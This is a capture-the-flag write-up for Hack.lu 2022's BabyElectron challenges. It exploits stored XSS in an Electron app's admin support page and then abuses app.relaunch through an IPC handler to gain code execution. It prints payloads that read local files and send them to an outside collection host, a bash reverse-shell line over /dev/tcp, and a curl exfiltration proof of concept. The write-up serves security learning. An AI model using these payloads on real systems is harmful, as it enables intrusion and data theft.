# BabyElectron
Hack.lu CTF had many very difficult web challenges, the BabyElectron challenge had the difficulty level set to (Easy,Medium)
There were two challenges based on the same challenge, basically BabyElectronV1 and BabyElectronV2
For solving the *BabyElectronV1* challenge we were required to read the file contents of the `flag` file , located under the root directory (`/flag`)The second one *BabyElectronV2* challenge revolve around getting RCE , in order to get the flag you need to execute the `/printflag` binary file which will echo out the flag.
Three links were provided in these challenge:
https://flu.xxx/static/chall/babyelectron_db68aab4272c385892ba665c4c0e6432.zip : Download challenge files (which contained the source code)https://relbot.flu.xxx/ : Report your Posts here (Submit a report id that the Admin Bot should visit:)https://flu.xxx/static/chall/REL-1.0.0.AppImage_v2 : Get the app here (From this file the electron can be directly run)
I was on windows, so I didn't tried the AppImage . Instead directly ran the electron app from the provided source code, as it will also allow me to add some debugging,etc.
-------------------------------
To start the electron app:
```bashwget https://flu.xxx/static/chall/babyelectron_db68aab4272c385892ba665c4c0e6432.zipunzip babyelectron_db68aab4272c385892ba665c4c0e6432.zipcd ./public/appnpm i
./node_modules/.bin/electron . --disable-gpu --no-sandbox```
![image](https://user-images.githubusercontent.com/31372554/198924661-ba8fbddd-a716-4393-b2f9-f6850fe10d44.png)
After login/register we can see there three pages:
Home Page![image](https://user-images.githubusercontent.com/31372554/198924790-830601e8-872b-40cf-bf8a-be4f8b6d7033.png)
Buy Page![image](https://user-images.githubusercontent.com/31372554/198924823-cb712d76-db0f-474b-b41a-df8e7ca695cc.png)
My portfolio page![image](https://user-images.githubusercontent.com/31372554/198924857-be81464c-87fe-4b62-92d4-588b9ab81b58.png)
We can also report any House listing to the admin:
![image](https://user-images.githubusercontent.com/31372554/198925697-c3895f77-a3e0-4a0f-b474-5b8c2e1fad96.png)
Once we buy anything , it will appear under the *My portfolio page* , from there we can even sell the House:
![image](https://user-images.githubusercontent.com/31372554/198925007-f6aefc57-c333-40bb-937c-0868d115eae2.png)
-------------------------------
We need to see the underlying requests responsible for all these actions, by adding these two line of code in  electron `main.js` file:
```jsconst {app, BrowserWindow, ipcMain, session} = require('electron')const path = require('path')
app.commandLine.appendSwitch('proxy-server', '127.0.0.1:8080')  // [1]app.commandLine.appendSwitch("ignore-certificate-errors"); // [2]```
Now restart the elctron application and now you should see the requests in the burp history
![image](https://user-images.githubusercontent.com/31372554/198925372-36970fe9-c973-45c9-bdeb-5cb40f5d8435.png)
--------------------------------
As we now have a basic undestanding of the application, let's dig into the source code to see where the bug lies:
In case of electron application if you have a xss bug it can directly lead to RCE (if all the stars aligned correctly), so I started looking for xss in the sourec code.Remember the report endpoint? It also allowed us to add a message so let's check if it can lead to xss bug or not.
`report.js`
```js// get listing out of pathlet houseId = new URL(window.location.href).searchlet RELapi = localStorage.getItem("api")
report = function(){     fetch(RELapi + `/report${houseId}`, {        method: "POST",        headers: {          "Content-Type": "application/json",        },        body: JSON.stringify({            message: document.getElementById("REL-msg").value        })}).then((response) => response.json())        .then((data) =>         // redirect back to the main page        window.location.href = `./index.html#${data.msg}`);    }```
A request to the api endpoint is made:
```POST /report?houseId=WOomsaFlA HTTP/2Host: relapi.flu.xxxContent-Length: 17User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) REL/1.0.0 Chrome/94.0.4606.81 Electron/15.5.7 Safari/537.36Content-Type: application/jsonAccept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflateAccept-Language: en-US
{"message":"zzz"}```
This request is handle in this part of the code: `/api/server.js`
```jsapp.post('/report', (req,res) => {
  let houseId = req.query.houseId || "";  let message = req.body["message"] || "";
  if (    typeof houseId !== "string" ||    typeof message !== "string" ||    houseId.length === 0 ||    message.length === 0  )    return sendResponse(res, 400, { err: "Invalid request" });
  // allow only valid houseId's  db.get("SELECT * from RELhouses WHERE houseId = ?", houseId, (err, house) => {    if(house){      let token = crypto.randomBytes(16).toString("hex");      db.run(        "INSERT INTO RELsupport(reportId, houseId, message, visited) VALUES(?, ?, ?, ?)",        token,        houseId,        message,        false,        (err) => {          if (err){            return sendResponse(res, 500, { err: "Failed to file report" });          }          return sendResponse(res, 200, {msg: `Thank you for your Report!\nHere is your ID: ${token}`})          })      }    else{      return sendResponse(res, 500, { err: "Failed to find that property" });    }  })})```
It returns a token in the response, this token then can be supplied to the `/support` endpoint to retrive the report details:
```json{  "msg": "Thank you for your Report!\nHere is your ID: 553987ee78d0056533cf4dfcdc830ad1"}```
https://relapi.flu.xxx/support?reportId=553987ee78d0056533cf4dfcdc830ad1
```json[  {    "price": 37855,    "name": "6743 Impasse de Presbourg",    "message": "Sed voluptatem itaque necessitatibus itaque aut et ut esse.",    "sqm": 60,    "image": "images/REL-221024.jpeg",    "houseId": "b0Hapli2VJ",    "msg": "xx"  }]```
The admin bot available at: https://relbot.flu.xxx/ *Submit a report id that the Admin Bot should visit:* , so no doubt it uses the report id to make a request to the `/support` endpoint
This is code for the support page (from where the admin bot checks the report id):
```html
<html>  <head>    <meta charset="UTF-8">    <link href="../css/bootstrap.min.css" rel="stylesheet">    <script src="../js/bootstrap.bundle.js"></script>    <link href="../styles.css" rel="stylesheet">    <title>REL Admin</title>  </head>  <body>    REL Support Page
    Most recent reported Listing:    <div class="row" id="REL-content">      </div>
     <script type="text/javascript" src="../js/purify.js"></script>    <script src="../js/support.js"></script>   </body></html>
```
`js/support.js`
```js// support.js fetches next row from API in support and gives it back to the support admin to handle. console.log("WAITING FOR NEW INPUT")
const reportId = localStorage.getItem("reportId")let RELapi = localStorage.getItem("api")
const HTML = document.getElementById("REL-content")
fetch(RELapi + `/support?reportId=${encodeURIComponent(reportId)}`).then((data) => data.json()).then((data) =>{  if(data.err){    console.log("API Error: ",data.err)    new_msg = document.createElement("div")    new_msg.innerHTML = data.err    HTML.appendChild(new_msg);  }else{  for (listing of data){    console.log("Checking now!", listing.msg)     // security we learned from a bugbounty report    listing.msg = DOMPurify.sanitize(listing.msg) // [1]
    const div = `        <div class="card col-xs-3" style="width: 18rem;">            <span>${listing.houseId}</span>             <div class="card-body">              <h5 class="card-title" id="REL-0-name">${listing.name}</h5>              <h6 class="card-subtitle mb-2 text-muted" id="REL-0-sqm">${listing.sqm} sqm</h6> ${listing.message}              <input type="number" class="form-control" id="REL-0-price" placeholder="${listing.price}">            </div>        </div>        <div>            ${listing.msg}        </div>`    new_property = document.createElement("div")    new_property.innerHTML = div    HTML.appendChild(new_property);  }  console.log("Done Checking!")}})```
${listing.message}
This looked very interesting, it was making a request to the `/support` endpoint with the report Id we provided and the response is then directly passed to innerHTML (this can lead to xss if there is no sanization over user controllable input).
Here we can say on line [1], the msg is passed to the Dompurify santize function which take cares of the xss bug.But other variables aren't sanitized listing.houseId,listing.name,listing.price
If we can get full control over any of these variable we will have a xss bug:
```json[  {    "price": 37855,    "name": "6743 Impasse de Presbourg",    "message": "Sed voluptatem itaque necessitatibus itaque aut et ut esse.",    "sqm": 60,    "image": "images/REL-221024.jpeg",    "houseId": "b0Hapli2VJ",    "msg": "xx"  }]```
Request made when sell action is performed:
```POST /sell HTTP/2Host: relapi.flu.xxxContent-Length: 117User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) REL/1.0.0 Chrome/94.0.4606.81 Electron/15.5.7 Safari/537.36Content-Type: application/jsonAccept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflateAccept-Language: en-US
{  "houseId": "_yTPmi9bfl",  "token": "61e6887048465eed383d6d9f5cd32c86",  "message": "A commodi debitis ut.",  "price": "1"}```
The `houseId` is validated  and the `price` param value is converted to Integer so we can't put xss payload there. The `message` is the last option and it happily accepts our xss payload input.
Steps to create a report id which would have our xss payload:
1.Buy a house (if you don't buy anything, you won't have anything to sell)2.Sell the house (this is where we will add our xss payload)3.Report the `houseId` which we modified in *step 2*
Send the `reportId` to the admin then.
By this way although we have found a successful xss bug, we still need to find a away to read the flag which is in root directory `/flag`
------------------
By pressing `CTRL+Shift+I` in the electron app , developer tools window will popup
Execute this on the console:```js>document.location.href'file:///tmp/CTFs/2022/Hack.lu/babyelectron_db68aab4272c385892ba665c4c0e6432/public/app/src/views/portfolio.html#'```
The local files are directly loaded here, so the location of page where our report will be shown will be this:
```'file:///tmp/CTFs/2022/Hack.lu/babyelectron_db68aab4272c385892ba665c4c0e6432/public/app/src/views/support.html#'``` 
Here's the sweet alert popup:![electron_O5t35dNFpM](https://user-images.githubusercontent.com/31372554/198938310-2f106dd3-8dab-42aa-9e48-03a6cace8287.png)
As we have xss in the file uri, we can make request to other local files and read the content. A simple js payload such as this will allows us to read the flag:
```jsfetch('file:///flag')   .then(response=>response.text())   .then(json=>fetch("https://en2celr7rewbul.m.pipedream.net/x?flag="+json))```
This code will read the content of the flag file and sent it to our server.
![image](https://user-images.githubusercontent.com/31372554/198938921-d6a8ceef-a3ca-42b1-8b8f-0d66889ae9ee.png)
`flag{well..well..well..good_you_learned_about_file://_origin_:)_}`
------------------------------------------------------------------
# v2
Now we need rce to solve the second part of this challenge, going through electron source code
Starting with the `webPreferences` configuration:
```jsfunction createWindow (session) {  // Create the browser window.  const mainWindow = new BrowserWindow({    title: "Real Estate Luxembourg",    width: 860,    height: 600,    minWidth: 860,    minHeight: 600,    resizable: true,    icon: '/images/fav.ico',    webPreferences: {      preload: path.join(app.getAppPath(), "./src/preload.js"), // eng-disable PRELOAD_JS_CHECK      // SECURITY: use a custom session without a cache      // https://github.com/1password/electron-secure-defaults/#disable-session-cache      session,      // SECURITY: disable node integration for remote content      // https://github.com/1password/electron-secure-defaults/#rule-2      nodeIntegration: false,      // SECURITY: enable context isolation for remote content      // https://github.com/1password/electron-secure-defaults/#rule-3      contextIsolation: true,      // SECURITY: disable the remote module      // https://github.com/1password/electron-secure-defaults/#remote-module      enableRemoteModule: false,      // SECURITY: sanitize JS values that cross the contextBridge      // https://github.com/1password/electron-secure-defaults/#rule-3      worldSafeExecuteJavaScript: true,      // SECURITY: restrict dev tools access in the packaged app      // https://github.com/1password/electron-secure-defaults/#restrict-dev-tools      devTools: !app.isPackaged,      // SECURITY: disable navigation via middle-click      // https://github.com/1password/electron-secure-defaults/#disable-new-window      disableBlinkFeatures: "Auxclick",      // SECURITY: sandbox renderer content      // https://github.com/1password/electron-secure-defaults/#sandbox      sandbox: true,
    }  })```
The interesting one which we should focus on are (you can find details on these flags from the link mentioned in the comments):```js nodeIntegration: false contextIsolation: true sandbox: true```
If `nodeIntegration` was set to true , by using this code it would have been possible to get RCE
```jsconst {shell} = require('electron'); shell.openExternal('file:C:/Windows/System32/calc.exe')```
At first I even looked at the cool research done by Electrovolt team, to check if the challenge solution is based upon their research or not . The electron and chrome version used in this challenge was pretty old too
```Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) REL/1.0.0 Chrome/94.0.4606.81 Electron/15.5.7 Safari/537.36```
I thought this challenge requires writing a renderer exploit (as the chrome version is old you can find many exploits) but as I don't have any idea about how they work :( ,  so I started checking some other codes.
`preload.js`
```jsconst {ipcRenderer, contextBridge} = require('electron')
const API_URL = process.env.API_URL || "https://relapi.flu.xxx";localStorage.setItem("api", API_URL)
const REPORT_ID = process.env.REPORT_ID || "fail"localStorage.setItem("reportId", REPORT_ID) 
const RendererApi = {  invoke: (action, ...args)  => {      return ipcRenderer.send("RELaction",action, args);  },};
// SECURITY: expose a limted API to the renderer over the context bridge// https://github.com/1password/electron-secure-defaults/SECURITY.md#rule-3contextBridge.exposeInMainWorld("api", RendererApi);
```
`main.js`
```jsapp.RELbuy = function(listingId){  return}
app.RELsell = function(houseId, price, duration){  return}
app.RELinfo = function(houseId){  return}
app.RElist = function(listingId){  return}
app.RELsummary = function(userId){  console.log("hello "+ userId) // added by me return }
ipcMain.on("RELaction", (_e, action, args)=>{ // [2]  //if(["RELbuy", "RELsell", "RELinfo"].includes(action)){  if(!/^REL/i.test(action)){    app[action](...args)  // [3]  }else{    // ??   }})```
By executing this line code, the code on line [2] will come into action:
```window.api.invoke("RELsummary","test")```
The `action` variable will have this value `RELsummary` and `args` will have `test`. On line [3] , a call like this will be made. This eventually calls the RELsummary method and the console.log message will be printed
```app.RELsummary("test")```
This looked interesting as it allows to call any method available from the `app` object (https://www.electronjs.org/docs/latest/api/app) also there is regex check which only allows actions which starts from REL (`/i` means case insensitive)
Searching for a method under app object which starts from rel , point us to this https://www.electronjs.org/docs/latest/api/app#apprelaunchoptions
![image](https://user-images.githubusercontent.com/31372554/198941664-00013eef-a978-4732-8301-2327010f4074.png)
I was solving this challenge in the last moment and I had some other works to also do, so wasn't able to solve this (as it would have taken me some time to figure it out how to achieve rce through relaunch method). After the ctf ended I checked the solution and the solution was really using `app.relaunch` method 
Thanks to @zeyu200 for this:
```jswindow.api.invoke('relaunch',{execPath: 'bash', args: ['-c', 'bash -i >& /dev/tcp/HOST/PORT 0>&1']}) // it will evaluate to the below codeapp.relaunch({execPath: 'bash', args: ['-c', 'bash -i >& /dev/tcp/HOST/PORT 0>&1']})```
To get the flag here's the final poc:
```jswindow.api.invoke('relaunch',{execPath: 'bash', args: ['-c', 'curl "https://en2celr7rewbul.m.pipedream.net/v2?=$(/printflag)"']})```
Replace the `houseId` and `token` parameter according to your accout.
```POST /sell HTTP/2Host: relapi.flu.xxxContent-Length: 298User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) REL/1.0.0 Chrome/94.0.4606.81 Electron/15.5.7 Safari/537.36Content-Type: application/jsonAccept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflateAccept-Language: en-US
{"houseId":"_yTPmi9bfl","token":"61e6887048465eed383d6d9f5cd32c86","message":"","price":"1"}```
![image](https://user-images.githubusercontent.com/31372554/198945644-fe0cd51d-bd05-4ec0-bc0f-339bef10325d.png)
`flag{congrats_on_your_firstRELauncHv2}`